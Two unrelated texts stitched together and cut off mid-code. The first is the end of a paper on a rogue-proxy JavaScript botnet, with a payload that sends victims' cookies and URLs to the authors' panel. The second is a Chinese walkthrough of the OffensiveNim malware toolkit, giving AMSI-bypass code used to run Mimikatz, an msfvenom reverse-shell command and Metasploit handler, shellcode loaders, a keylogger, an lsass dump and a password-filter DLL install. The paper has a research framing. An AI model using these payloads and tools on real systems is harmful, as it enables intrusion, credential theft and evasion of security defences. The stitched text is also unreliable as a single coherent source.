Proxy servers perform security testing to the new Proxy Servers, but the test are not as good as those made in the TOR network. In fact, the real problem is not the place where the proxy server is registered do the tests or not, but once it gets on the list, there are hundreds of sites and applications that are downloading these lists without any verification of safety. Simply pass the first test, which from what we saw was test of connection and functionality, and the "Magic of the Internet” will make your IP address appears on thousands of sites, such as what happened with our IP address. Figure 10: Rogue Proxy IP appeared in thousands of sites Expansion of the botnet Once there was the mass distribution of the IP address, the rest of the work was waiting to see how many "bad guys" began to be infected by JavaScript code. To see that, it was implemented a small panel in PHP – that was hacked by Spanish hackers later, just after we show it in our talk in RootedCON [6]. Don´t trust on Spanish hackers!-, which accounted for the bots that had ever requested payloads and those who had requested them in the last 24 hours. The number of computers that were infected were so high at the beginning, that knock down our panel, so we had to optimize some queries, and be much more selective in the connections and the data to be captured, so as not to overwhelm our small server with many data. Figure 11: Map of active bots by countries Here you can see how the panel reached one of the moments about 5,000 bots with nearly 1,000 of them active in the last hour. As you can see, to make an analysis of the origins of connection, Russia, Brazil and Indonesia were the most active when using these services. Interestingly match source of much malware. Making payloads Once we had entered the pasarela.js in the browser ... What could be done from there? The volume of ideas that you may occur is huge. From making DDOS attacks, until make defacement of the sites visited by the bot, phishing attacks to steal login credentials of special sites or steal cookies from the session. As we had no intention of doing anything wrong with this, and our goal was to do an experiment to see what kind of things were done through the Internet Proxy servers, only started a couple of payloads. 1) Identification of bot, and theft of cookies that were not HTTP Only and its URL. 2) Theft of data sent by loaded HTTP forms. Identifying bot and URL of connection We left out of the payloads the HTTPs connections and HTTPOnly cookies, because we had no actual real target, and because it was sufficient as sample to obtain that information. Thus, the first payload identification only did this: document.write(“<img id="domaingrabber" src="http://X.X.X.X/panel/ domaingrabber.php?id=0.0.0.0 &domain="+document.domain+" &location=" +document.location+"& cookie="+document.cookie+"" style="display: none;" />"); Allowing us to know which URL was connecting and if he had any unsafe session cookie. This information allows us to find things very juicy and discover a new Internet full of URLs that we had not visited before. Grabbig data from the forms To get data filed from forms, a small script was generated which hook submit events of the forms, with this simple JavaScript code. Figure 12: Script to hook submits fields of the forms And the rest was to discover what is done through an Anonymous Proxy Server on the Internet ... What did we found there? Who uses the Internet Proxy server? The main reasons to use an Internet Proxy Server are usually two. The first of these is obviously hiding the source IP address of the connection. Such users are seeking will certainly not leave the IP address of the initial connection to a log file that can point directly to them. The second reason is often to jump/avoid access restrictions on the network connection, i.e. users who want to bypass any security restriction in any organization in order to connect to sites not allowed by the network administrator. With this type of base motives, the type of users of our Proxy Server was the most colourful, leaving a good collection of data that is worthy to study deeply. Between the most striking we found the following: Scam artists: The Nigerian scammer One of the users of such Internet Proxy Services proved to be a man that allegedly was selling Visa Cards for working at UK, with IP address from India. To do that, he was making an intense campaign of spam with an e-mail message requesting payment for Western Union. Figure 13: Spam scam campaign and request money Of course, some recipients of the messages were quite sceptical and their responses were very negative, but we could see how some people paid and sent all data to obtain a Visa that would never come. Figure 14: Victim sending all his documentation Scam artists: The horny chick you get off with tonight Another type of scam artists with whom we met are dedicated to keeping fake profiles of women in different social networks of sentimental contacts. In each, the location, name and age of women were different. In fact, the same person kept profiles with different types of women, allowing it to open the range of victims. Figure 15: Rogue profile number 1 For reasons of space I show you only a couple of profiles of all we found that are maintained by the same person. Figure 16: False profile number 2 In this case, its business model was very similar. Making a working day, this German crock, is dedicated to linking people and ask for money through Western Union to pay for the trip to where the victim lives and spend a night of mad, wild, nasty love. As had many chance encounters, he organised conversations and stores them. Some are like this, in which insistently sought money in exchange for some alleged "nicked" (naked) photos. In the chat you can see that, as it should be chatting with several at once, sometimes it plays dirty tricks and puts things in their native language. Figure 17: A chat log talking to a victim The number of chats, and requests for money by Western Union did was very high, making this system a real work night shift. These two types of scams are among the many we saw, where we found that it made all kinds of scams, such as sales of dogs, fake vehicles, etcetera. A real amount of business, we did not know previously. Financial crisis what? Worried about anonymity Many of the users who came to do something "illegal", the first thing they did was check their IP address with websites such as Whatismyip.com checking whether they are anonymous or not or using others similar websites, but in the end, apparently seen, not only should check their IP addressing. Hacked hackers hacking One of the issues that caught our attention as we hoped was to find many hackers using WebShell through Proxy Servers to deface websites. Among them, we have chosen this defacement that we saw how it was made in real-time. Figure 18: Hacker’s defacement When we look at why he had been infected, we realized that he was using an infected WebShell loading a JavaScript file to report the URL of the WebShell. This JavaScript file was also infected by our Proxy Server, and allows us to discover where the webshell was. Figure 19: Webshell requesting the infected JavaScript So far, everything has been obtained by passive observation of navigation, but ... Could we make an active infection by selecting to infect websites that are not reached by browsing via our Proxy Server? The answer is yes. Coming into the intranet One of the things that caught our attention when reviewing the collected data, was the possibility of finding information about machines that were not published on the Internet, that is, applications that are being used internally on an Intranet, as can be seen the following data in an internal ERP System. Figure 20: Data of Intranet web application Reasons to collect Intranet application data by a Javascript botnet such as ours are simple: 1) At any time this person configured our Proxy Server and was infected. 2) At some point requested a JavaScript file on Internet that was also in use by the Intranet application. This makes it clear that use remote JavaScript files on an Intranet may not be desirable and opens the door to potential attacks of this kind. Seeing this, we thought it would be easy to prepare a targeted attack to any application in the Intranet or the Internet, analysing previously the JavaScript files that are loaded, and forcing customers to load these files from any domain, so the caching is forced. Analysing the JavaScript files of a web To prepare a targeted attack to a specific site, i.e. to ensure that a user who is part of the botnet is infected when he visits a particular site, it must be known what are the JavaScript files that loads that site. To do this, you can make use of network inspection in Google Chrome or Firefox Firebug, and select the one to infect. Figure 21: Loaded JavaScript files loaded in login website For example, in this site it can be seen that in the login page, JavaScript files are being loaded statically, that is, it always loads the same files, allowing attackers to force a pre- caching of all of them to all the victims they want to infect. To do this, the control panel would have a payload in JavaScript to do something like: document.write(<script src=http://www.objetivo.com/target.js >); This file will be also infected, and the attacker could run any payload in the future within the targeted domain, even if the bot is disconnected form the Rogue Proxy Server. Dynamic JavaScript files Sites like Facebook load javascript files using names that change dynamically, which prevents it from caching the JavaScript file previously, so this attack cannot be done. Figure 22: JavaScript files loaded in Facebook’s login However, the list of sites that use static JavaScript files, in login pages of banks, institutions, companies, etcetera, is huge, and it should not be a security vulnerability if users are not infected, but it helps Javascript botnets to perform targeted attacks. Previously cached JavaScript files and HTTPs One of the things that we did not implemented in this proof of concept was to force to cache the infected file if it was already in the browser cache. Assuming that a site loads a JavaScript file that the browser has already cached, the client will not request that file, so it would not become infected. However, playing with HTTP Etags options would be possible to force the browser to request the new files, but this wasn´t implemented in this proof of concept. Moreover, to avoid arousing the slightest suspicion, we decided not to intercept HTTPs communications, leaving out of reach any secure connection and any cookie marked with the “Secure” flag. Do not forget that this was just a POC. Final recommendations Both the TOR networks and Proxy systems represent “Man in the Middle” schemes, in which you must trust to use them. Put a malicious server on Internet is too easy as to think that there is not being made, in a massive way, by people with the worst of the intentions of all, so if you use any of these facilities, it is best to get ready to be attacked. No surfing with out dated systems for these networks, firewalls and anti-malware always in alert, and remember when you finish to use of them should take precautions for disinfection. As recommended by default, clear the cache for each browser session, and always use the private browsing mode. Greetings We would like to say thanks, to Jon, Antonio, Pedro and Isabel of JAPI Tracing, to people working on BeEF, colleagues form Informatica64 and Manu and Frank for helping us to improve the security of the C&C. References [1] JS / Redirector.GA https://www.microsoft.com/security/portal/Threat/Encyclop edia/Entry.aspx?Name=Trojan%3AJS%2FRedirector.GA& ThreatID=-2147328473 [2] XST Attack http://jeremiahgrossman.blogspot.com.es/2007/04/xst-lives- bypassing-httponly.html [3] Apache HTTP Only Cookie Disclosure http://fd.the-wildcat.de/apache_e36a9cf46c.php [4] Gaining Access to HTTP Only Cookies in 2012 http://seckb.yehg.net/2012/06/xss-gaining-access-to- httponly-cookie.html [5] BeEF Project http://beefproject.com/ [6] RootedCON http://www.rootedcon.es
pdf
1 些malware-dev开源项⽬介绍-nim 项⽬列表 OffensiveNim pop_bin.nim 作⽤ 编译 运⾏ pop_winim_bin.nim 作⽤ 编译 运⾏ pop_winim_lib.nim 作⽤ 编译 运⾏ execute_assembly_bin.nim 作⽤ 编译 运⾏ clr_host_cpp_embed_bin.nim 作⽤ 编译 运⾏ scshell_c_embed_bin.nim 作⽤ 编译 运⾏ fltmc_bin.nim 作⽤ 2 编译 运⾏ blockdlls_acg_ppid_spoof_bin.nim 作⽤ 编译 运⾏ named_pipe_client_bin.nim && named_pipe_server_bin.nim 作⽤ 编译 运⾏ embed_rsrc_bin.nim 作⽤ 编译 运⾏ self_delete_bin.nim 作⽤ 编译 运⾏ encrypt_decrypt_bin.nim 作⽤ 编译 运⾏ amsi_patch_bin.nim && execute_powershell_bin.nim 作⽤ 编译 运⾏ etw_patch_bin.nim 作⽤ 编译 运⾏ wmiquery_bin.nim 作⽤ 3 编译 运⾏ out_compressed_dll_bin.nim 作⽤ 编译 运⾏ dynamic_shellcode_local_inject_bin.nim 作⽤ 编译 运⾏ shellcode_callback_bin.nim 作⽤ 编译 运⾏ shellcode_bin.nim 作⽤ 编译 运⾏ shellcode_fiber.nim 作⽤ 编译 运⾏ shellcode_inline_asm_bin.nim 作⽤ 编译 运⾏ syscalls_bin.nim 作⽤ 编译 运⾏ passfilter_lib.nim 作⽤ 4 编译 运⾏ minidump_bin.nim 作⽤ 编译 运⾏ http_request_bin.nim 作⽤ 编译 运⾏ execute_sct_bin.nim 作⽤ 编译 运⾏ scriptcontrol_bin.nim 作⽤ 编译 运⾏ excel_com_bin.nim 作⽤ 编译 运⾏ keylogger_bin.nim 作⽤ 编译 运⾏ uuid_exec_bin.nim 作⽤ 编译 运⾏ unhookc.nim 作⽤ 5 编译 运⾏ unhook.nim 作⽤ 编译 运⾏ taskbar_ewmi_bin.nim 作⽤ 编译 运⾏ fork_dump_bin.nim 作⽤ 编译 运⾏ ldap_query_bin.nim 作⽤ 编译 运⾏ sandbox_process_bin.nim 作⽤ 编译 运⾏ list_remote_shares.nim 作⽤ 编译 运⾏ chrome_dump_bin.nim 作⽤ 编译 运⾏ suspended_thread_injection.nim 作⽤ 6 编译 运⾏ steganography 简介 使⽤ nim-strenc 简介 使⽤ Nim-RunPE 简介 使⽤ NimGetSyscallStub 简介 使⽤ Nim_CBT_Shellcode 简介 使⽤ nimcrypto 简介 使⽤ winim 简介 使⽤ NimlineWhispersP 简介 ⽤途 zippy 简介 ⽤途 nuglifier 简介 ⽤途 7 tiny-sqlite 简介 ⽤途 编译命令 参考⽂献 OffensiveNim steganography nim-strenc Nim-RunPE NimGetSyscallStub Nim_CBT_Shellcode nimcrypto winim NimlineWhispers3 zippy nuglifier tiny_sqlite 该项⽬是S3cur3Th1sSh1t⼤佬开发的,项⽬当中的每个⽂件都可以单独编译,并且⽂件名字标识了这份 代码起到的作⽤。 直接调⽤MessageBoxA弹窗,但需要⾃⼰定义系统api函数调⽤的数据类型 项⽬列表 ● ● ● ● ● ● ● ● ● ● ● ● OffensiveNim pop_bin.nim 作⽤ 编译 8 通过winim调⽤windows api,减少需要编写的nim代码 运⾏ pop_winim_bin.nim 作⽤ 编译 Bash 复制代码 nim cc --app=console --cpu=amd64 -d:release -d:strip -- out=bin/pop_bin64.exe src\pop_bin.nim 1 9 通过winim库调⽤windows系统API,并且编译DLL动态链接库,导出函数为DllMain 运⾏ pop_winim_lib.nim 作⽤ 编译 Bash 复制代码 nim cc --app=console --cpu=amd64 -d:release -d:strip -- out=bin/pop_winim_bin64.exe src\pop_winim_bin.nim 1 10 运⾏ execute_assembly_bin.nim Bash 复制代码 nim cc --app=lib --nomain --cpu=amd64 -d:release -d:strip -- out=bin/pop_winim_lib64.dll src\pop_winim_lib.nim 1 Bash 复制代码 rundll32 bin\pop_winim_lib64.dll DllMain 1 11 通过winim调⽤CLR API,内存执⾏.net assembly 作⽤ 编译 运⾏ Bash 复制代码 nim cc --app=console --cpu=amd64 -d:release -d:strip -- out=bin/execute_assembly_bin64.exe src\execute_assembly_bin.nim 1 12 嵌⼊C++代码,通过C++调⽤系统API函数加载CLR环境运⾏.net程序 将scshell的C代码嵌⼊到nim程序当中编译,实现快速“加壳”,或许可以绕过⼀些杀软检测 clr_host_cpp_embed_bin.nim 作⽤ 编译 运⾏ scshell_c_embed_bin.nim 作⽤ 编译 Bash 复制代码 nim cpp --app=console --cpu=amd64 -d:release -d:strip -- out=bin/clr_host_cpp_embed_bin64.exe src\clr_host_cpp_embed_bin.nim 1 13 枚举系统上所有的Minifilter驱动 运⾏ fltmc_bin.nim 作⽤ 编译 Bash 复制代码 nim cc --app=console --cpu=amd64 -d:release -d:strip -- out=bin/scshell_c_embed_bin64.exe src\scshell_c_embed_bin.nim 1 14 运⾏ Bash 复制代码 nim cc --app=console --cpu=amd64 -d:release -d:strip -- out=bin/fltmc_bin64.exe src\fltmc_bin.nim 1 15 16 以suspended状态创建⼀个进程,并将该进程的⽗进程PID指向explorer.exe(PPID Spoofing),并且开 启BlockDLL(禁⽌⾮系统DLL加载进进程,防注⼊)和ACG(保护进程代码不被修改,防hook) 这⾥在taskbar⾥⾯没有看到suspened状态的notepad.exe程序,所以修改下原来的代码,以常规 CreationFlag启动程序。 blockdlls_acg_ppid_spoof_bin.nim 作⽤ 编译 运⾏ Bash 复制代码 nim cc --app=console --cpu=amd64 -d:release -d:strip -- out=bin/blockdlls_acg_ppid_spoof_bin64.exe src\blockdlls_acg_ppid_spoof_bin.nim 1 17 编译后再次运⾏ 测试利⽤frida注⼊notepad.exe进程,然后枚举当前进程加载的模块列表,这⾥使⽤开源项⽬ https://github.com/poxyran/misc 18 查看当前notepad进程当中加载的DLL 19 Plain Text 复制代码 Module name: notepad.exe - Base Address: 0x7ff6a9500000 Module name: ntdll.dll - Base Address: 0x7ffba8990000 Module name: KERNEL32.DLL - Base Address: 0x7ffba82f0000 Module name: KERNELBASE.dll - Base Address: 0x7ffba5d00000 Module name: apphelp.dll - Base Address: 0x7ffba3350000 Module name: ADVAPI32.dll - Base Address: 0x7ffba8580000 Module name: msvcrt.dll - Base Address: 0x7ffba6a30000 Module name: sechost.dll - Base Address: 0x7ffba63d0000 Module name: RPCRT4.dll - Base Address: 0x7ffba8450000 Module name: GDI32.dll - Base Address: 0x7ffba83b0000 Module name: gdi32full.dll - Base Address: 0x7ffba52c0000 Module name: USER32.dll - Base Address: 0x7ffba6c70000 Module name: win32u.dll - Base Address: 0x7ffba5440000 Module name: combase.dll - Base Address: 0x7ffba5f60000 Module name: ucrtbase.dll - Base Address: 0x7ffba5110000 Module name: bcryptPrimitives.dll - Base Address: 0x7ffba5460000 Module name: OLEAUT32.dll - Base Address: 0x7ffba8630000 Module name: msvcp_win.dll - Base Address: 0x7ffba54d0000 Module name: COMDLG32.dll - Base Address: 0x7ffba86f0000 Module name: shcore.dll - Base Address: 0x7ffba5210000 Module name: SHLWAPI.dll - Base Address: 0x7ffba6c10000 Module name: SHELL32.dll - Base Address: 0x7ffba6de0000 Module name: cfgmgr32.dll - Base Address: 0x7ffba5cb0000 Module name: windows.storage.dll - Base Address: 0x7ffba55d0000 Module name: powrprof.dll - Base Address: 0x7ffba4e20000 Module name: kernel.appcore.dll - Base Address: 0x7ffba4e70000 Module name: profapi.dll - Base Address: 0x7ffba4e00000 Module name: COMCTL32.dll - Base Address: 0x7ffb97510000 Module name: FeClient.dll - Base Address: 0x7ffb9b110000 Module name: PROPSYS.dll - Base Address: 0x7ffba0ff0000 Module name: WINSPOOL.DRV - Base Address: 0x7ffb8dc50000 Module name: urlmon.dll - Base Address: 0x7ffb9cb00000 Module name: bcrypt.dll - Base Address: 0x7ffba49e0000 Module name: iertutil.dll - Base Address: 0x7ffb9c850000 Module name: IMM32.DLL - Base Address: 0x7ffba5f20000 Module name: uxtheme.dll - Base Address: 0x7ffba3660000 Module name: MSCTF.dll - Base Address: 0x7ffba68d0000 Module name: dwmapi.dll - Base Address: 0x7ffba2de0000 Module name: clbcatq.dll - Base Address: 0x7ffba6330000 Module name: efswrt.dll - Base Address: 0x7ffb87460000 Module name: MPR.dll - Base Address: 0x7ffb9bbd0000 Module name: wintypes.dll - Base Address: 0x7ffba2690000 Module name: twinapi.appcore.dll - Base Address: 0x7ffba3900000 Module name: CRYPTBASE.DLL - Base Address: 0x7ffba48f0000 Module name: frida-agent.dll - Base Address: 0x7ffb7e400000 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 20 可以看到上⾯第45⾏显示frida-agent.dll,证明成功注⼊notepad.exe进程当中⾮微软签名的DLL。。。 这个问题有知道为什么可以注⼊成功的师傅可以私聊我回复笔者下,笔者后⾯花时间研究下为什么这⾥ 会注⼊成功。 利⽤命名管道进⾏进程间通信。 named_pipe_client_bin.nim && named_pipe_server_bin.nim 作⽤ 编译 Module name: CRYPT32.dll - Base Address: 0x7ffba4f40000 Module name: MSASN1.dll - Base Address: 0x7ffba4e80000 Module name: ole32.dll - Base Address: 0x7ffba6ad0000 Module name: WS2_32.dll - Base Address: 0x7ffba62c0000 Module name: DNSAPI.dll - Base Address: 0x7ffba44f0000 Module name: PSAPI.DLL - Base Address: 0x7ffba83a0000 Module name: NSI.dll - Base Address: 0x7ffba6430000 Module name: IPHLPAPI.DLL - Base Address: 0x7ffba4450000 Module name: WINMM.dll - Base Address: 0x7ffba2040000 Module name: WINMMBASE.dll - Base Address: 0x7ffba2000000 46 47 48 49 50 51 52 53 54 55 Bash 复制代码 nim cc --app=console --cpu=amd64 -d:release -d:strip -- out=bin/named_pipe_client_bin64.exe src\named_pipe_client_bin.nim nim cc --app=console --cpu=amd64 -d:release -d:strip -- out=bin/named_pipe_server_bin64.exe src\named_pipe_server_bin.nim 1 2 21 ⾸先启动server端,server端创建命名管道,并等待client端连接。 再启动client端 客户端读取完成后退出,服务端也退出。 运⾏ embed_rsrc_bin.nim 22 通过slurp嵌⼊压缩包到资源节中,转换为string后在运⾏期间解压使⽤。 运⾏提示⽂件存在,修改下源码重新编译,再次运⾏。 作⽤ 编译 运⾏ Bash 复制代码 nim cc --app=console --cpu=amd64 -d:release -d:strip -- out=bin/embed_rsrc_bin64.exe src\embed_rsrc_bin.nim 1 23 查看⽂件是否存在和⽂件内容。 秘密是:https://www.youtube.com/watch?v=sT-mlWm_mag self_delete_bin.nim 作⽤ 24 通过将⾃身重命名为⽂件流实现⾃删除。 查看bin⽬录,是否有self_delete_bin64.exe 可以发现程序已经⾃删除。 使⽤nimcrypto库对数据进⾏AES256 CTR加解密。 编译 运⾏ encrypt_decrypt_bin.nim 作⽤ 编译 Bash 复制代码 nim cc --app=console --cpu=amd64 -d:release -d:strip -- out=bin/self_delete_bin64.exe src\self_delete_bin.ni 1 25 通过inlinehook AmsiScanBuffer函数绕过amsi检测。 通过CLR调⽤运⾏powershell脚本。 运⾏ amsi_patch_bin.nim && execute_powershell_bin.nim 作⽤ 编译 Bash 复制代码 nim cc --app=console --cpu=amd64 -d:release -d:strip -- out=bin/encrypt_decrypt_bin64.exe src\encrypt_decrypt_bin.nim 1 26 运⾏ Bash 复制代码 nim cc --app=console --cpu=amd64 -d:release -d:strip -- out=bin/amsi_patch_bin64.exe src\amsi_patch_bin.nim nim cc --app=console --cpu=amd64 -d:release -d:strip -- out=bin/execute_powershell_bin64.exe src\execute_powershell_bin.nim 1 2 27 在windows defender的环境下测试amsi patch效果。⾸先运⾏"Invoke-Mimikatz"。 提示检测到恶意内容,已被杀软拦截。 结合两份代码,在amsi patch完成后,通过CLR运⾏powershell代码,查看效果。 28 Python 复制代码 #[    Author: Marcello Salvati, Twitter: @byt3bl33d3r    License: BSD 3-Clause ]# import winim/lean import strformat import dynlib import winim/clr import sugar when defined amd64:    echo "[*] Running in x64 process"    const patch: array[6, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3] elif defined i386:    echo "[*] Running in x86 process"    const patch: array[8, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00] proc PatchAmsi(): bool =    var        amsi: LibHandle        cs: pointer        op: DWORD        t: DWORD        disabled: bool = false    # loadLib does the same thing that the dynlib pragma does and is the equivalent of LoadLibrary() on windows    # it also returns nil if something goes wrong meaning we can add some checks in the code to make sure everything's ok (which you can't really do well when using LoadLibrary() directly through winim)    amsi = loadLib("amsi")    if isNil(amsi):        echo "[X] Failed to load amsi.dll"        return disabled    cs = amsi.symAddr("AmsiScanBuffer") # equivalent of GetProcAddress()    if isNil(cs):        echo "[X] Failed to get the address of 'AmsiScanBuffer'"        return disabled    if VirtualProtect(cs, patch.len, 0x40, addr op): 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 29 编译        echo "[*] Applying patch"        copyMem(cs, unsafeAddr patch, patch.len)        VirtualProtect(cs, patch.len, op, addr t)        disabled = true    return disabled when isMainModule:    var success = PatchAmsi()    echo fmt"[*] AMSI disabled: {bool(success)}"    echo "[*] Start Run Powershell \"Invoke-Mimikatz\"."    var Automation = load("System.Management.Automation")    #dump Automation    var RunspaceFactory = Automation.GetType("System.Management.Automation.Runspaces.RunspaceFactor y")    #dump RunspaceFactory    var runspace = @RunspaceFactory.CreateRunspace()    #dump runspace    runspace.Open()    var pipeline = runspace.CreatePipeline()    #dump pipeline    pipeline.Commands.AddScript("echo \"Invoke-Mimikatz\"")    #pipeline.Commands.Add("Out-String")    var results = pipeline.Invoke()    for i in countUp(0,results.Count()-1):        echo results.Item(i)    #dump results    echo results.isType()    var t = results.GetType()    #dump t    discard readLine(stdin)    #echo t.isType()    #echo t.unwrap.vt    runspace.Close() 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 30 运⾏ 可以看到成功绕过了杀软对恶意内容的检测。 通过inlinehook EtwEventWrite函数绕过ETW⽇志记录。 etw_patch_bin.nim 作⽤ 编译 Bash 复制代码 nim cc --app=console --cpu=amd64 -d:release -d:strip -- out=bin/amsi_patch_execute_powershell_bin64.exe src\amsi_patch_execute_powershell_bin.nim 1 Bash 复制代码 nim cc --app=console --cpu=amd64 -d:release -d:strip -- out=bin/etw_patch_bin64.exe src\etw_patch_bin.nim 1 31 通过wmi查询安装的杀软和正在运⾏的进程。 运⾏ wmiquery_bin.nim 作⽤ 编译 Bash 复制代码 nim cc --app=console --cpu=amd64 -d:release -d:strip -- out=bin/wmiquery_bin64.exe src\wmiquery_bin.nim 1 32 运⾏ 33 将.net模块压缩base64编码转换为powershell代码进⾏加载。 out_compressed_dll_bin.nim 作⽤ 编译 34 编译提示函数参数类型错误,可能是nim版本太⾼,不兼容的问题,这⾥进⾏修改后再次编译。 Bash 复制代码 nim cc --app=console --cpu=amd64 -d:release -d:strip -- out=bin/out_compressed_dll_bin64.exe src\out_compressed_dll_bin.nim 1 35 动态注⼊到⾃身并执⾏shellcode。 ⾸先msfvenom⽣成64位反弹shellcode。 运⾏ dynamic_shellcode_local_inject_bin.nim 作⽤ 编译 36 使⽤以下py代码将payload.bin⽂件内容转换为数组格式并替换源⽂件。 Bash 复制代码 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.111.153 LPORT=4444 -f raw -o payload.bin 1 Python 复制代码 import sys def bin2byte_array(data):    if len(data) <= 16:        byte_array = ','.join(['0x%02x' % i for i in data])    else:        byte_array = ''        for i in range(len(data) // 16):            byte_array += ','.join(['0x%02x' % data[k] for k in range(i*16, (i+1)*16)]) + ',\n'        if len(data) % 16 != 0:            byte_array += ','.join(['0x%02x' % data[k] for k in range(len(data) - len(data) % 16, len(data))])    return '[byte %s]' % byte_array.strip(',\n') if __name__ == '__main__':    if len(sys.argv) != 2:        print('usage:%s <bin>' % __file__)    else:        with open(sys.argv[1], 'rb') as f:            data = f.read()        print(bin2byte_array(data))        print('length: %d' % len(data)) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 37 38 编译程序 启动MSF listener。 运⾏ Bash 复制代码 nim cc --app=console --cpu=amd64 -d:release -d:strip -- out=bin/dynamic_shellcode_local_inject_bin64.exe src\dynamic_shellcode_local_inject_bin.nim 1 39 运⾏程序。 Bash 复制代码 use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.111.153 set LPORT 4444 exploit -j 1 2 3 4 5 40 MSF控制台显示有session回连。 切换到session。 通过回调函数触发shellcode执⾏。 ⾸先替换shellcode为MSF reverse_tcp的shellcode。 shellcode_callback_bin.nim 作⽤ 编译 41 运⾏ Bash 复制代码 nim cc --app=console --cpu=amd64 -d:release -d:strip -- out=bin/shellcode_callback_bin64.exe src\shellcode_callback_bin.nim 1 42 MSF控制台收到session。 以suspended状态创建傀儡进程,并通过创建远程线程的⽅式注⼊shellcode。 替换代码中的shellcode部分。 shellcode_bin.nim 作⽤ 编译 43 Bash 复制代码 nim cc --app=console --cpu=amd64 -d:release -d:strip -- out=bin/shellcode_bin64.exe src\shellcode_bin.nim 1 44 MSF控制台收到session。 通过创建纤程(fiber)执⾏shellcode。 运⾏ shellcode_fiber.nim 作⽤ 编译 Bash 复制代码 nim cc --app=console --cpu=amd64 -d:release -d:strip -- out=bin/shellcode_fiber64.exe src\shellcode_fiber.nim 1 45 通过在nim代码中内敛汇编存放shellcode。 使⽤以下py代码⽣成shellcode数组替换shellcode部分。 运⾏ shellcode_inline_asm_bin.nim 作⽤ 编译 46 运⾏ Python 复制代码 import sys def bin2byte_array(data):    return '.byte %s' % ','.join(['0x%02x' % i for i in data]) if __name__ == '__main__':    if len(sys.argv) != 2:        print('usage:%s <bin>' % __file__)    else:        with open(sys.argv[1], 'rb') as f:            data = f.read()        print(bin2byte_array(data))        print('length: %d' % len(data)) 1 2 3 4 5 6 7 8 9 10 11 12 13 Bash 复制代码 nim cc --app=console --cpu=amd64 -d:release -d:strip -- out=bin/shellcode_inline_asm_bin64.exe src\shellcode_inline_asm_bin.nim 1 47 通过direct syscall调⽤绕过EDR hook执⾏shellcode。 但作者并没有实现代码,⽽实现的是获取64位程序的TEB。 syscalls_bin.nim 作⽤ 编译 Bash 复制代码 nim cc --app=console --cpu=amd64 -d:release -d:strip -- out=bin/syscall_bin64.exe src\syscalls_bin.nim 1 48 注册密码修改回调函数,安装之后记录修改的密码到⽂件中。 ⾸先需要⽤作者提供的⼀个安装脚本,但那个github仓库被删除了,⽤下⾯的链接获取安装脚本 https://github.com/brownbelt/defcon-25-workshop/blob/master/src/passfilter/passfilter.bat 根据当前路径修改为正确的脚本,如下 运⾏ passfilter_lib.nim 作⽤ 编译 运⾏ Bash 复制代码 nim cpp --app=lib --nomain --cpu=amd64 -d:release -d:strip -- out=bin/passfilter_lib64.dll src\passfilter_lib.nim 1 49 执⾏安装注册。 修改密码测试,没有测试成功。 dump lsass进程内存。 minidump_bin.nim 作⽤ 编译 Bash 复制代码 copy "bin\passfilter_lib64.dll" "%WINDIR%\system32\passfilter.dll" /y reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification Packages" /d "scecli"\0"passfilter"\0 /t REG_MULTI_SZ /f pause 1 2 3 4 5 Bash 复制代码 nim cc --app=console --cpu=amd64 -d:release -d:strip -- out=bin/minidump_bin64.exe src\minidump_bin.nim 1 50 nim语⾔的http请求,通过httpclient和com接⼝两种⽅式实现。 运⾏ http_request_bin.nim 作⽤ 编译 Bash 复制代码 nim cc --app=console --cpu=amd64 -d:release -d:strip -d:ssl -- out=bin/http_request_bin64.exe src\http_request_bin.nim 1 51 运⾏ 52 通过COM组件GetObject不落地执⾏sct⽂件。 远端测试sct⽂件内容 execute_sct_bin.nim 作⽤ 编译 运⾏ Bash 复制代码 nim cc --app=console --cpu=amd64 -d:release -d:strip -- out=bin/execute_sct_bin64.exe src\execute_sct_bin.nim 1 53 scriptcontrol_bin.nim 作⽤ Scala 复制代码 <?XML version="1.0"?> <scriptlet> <registration description="Component" progid="Component.TESTCB" version="1.00" classid="{20002222-0000-0000-0000-000000000002}" > </registration> <public> <method name="exec"> </method> </public> <script language="JScript"> <![CDATA[  function exec(){    new ActiveXObject('WScript.Shell').Run('calc.exe'); } ]]> </script> </scriptlet> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 54 通过MSScriptControl动态执⾏VBScript和JScript,仅⽀持32位程序。 通过Excel COM组件和宏代码注⼊shellcode,需要本机有安装excel。 编译 运⾏ excel_com_bin.nim 作⽤ 编译 Bash 复制代码 nim cc --app=console --cpu=i386 -d:release -d:strip -- out=bin/scriptcontrol_bin32.exe src\scriptcontrol_bin.nim 1 Bash 复制代码 nim cc --app=console --cpu=amd64 -d:release -d:strip -- out=bin/excel_com_bin64.exe src\excel_com_bin.nim 1 55 执⾏失败 通过函数SetWindowsHookEx设置窗⼝钩⼦实现键盘记录器。r 运⾏ keylogger_bin.nim 作⽤ 编译 Bash 复制代码 nim cc --app=console --cpu=amd64 -d:release -d:strip -- out=bin/keylogger_bin64.exe src\keylogger_bin.nim 1 56 在其他cmd窗⼝输⼊123并回⻋,可以看到已被键盘记录器捕获 将shellcode转换成uuid数组形式,并通过EnumSystemLocalesA回调函数执⾏shellcode。 使⽤以下py代码将shellcode转换成uuid数组形式。 运⾏ uuid_exec_bin.nim 作⽤ 编译 57 Python 复制代码 import uuid, sys def bin2uuid_array(data):    if len(data) <= 16:        uuid_array = '"%s"' % str(uuid.UUID(bytes_le=(data + (16 - len(data)) * b'\x00')))    else:        uuid_array = ''        for i in range(len(data) // 16):            uuid_array += '"%s"' % str(uuid.UUID(bytes_le=data[i*16: (i+1)*16])) + ',\n'        if len(data) % 16 != 0:            uuid_array += '"%s"' % str(uuid.UUID(bytes_le= (data[(len(data) - len(data) % 16):] + (16 - len(data) % 16) * b'\x00')))    return '[%s]' % uuid_array.strip(',\n') if 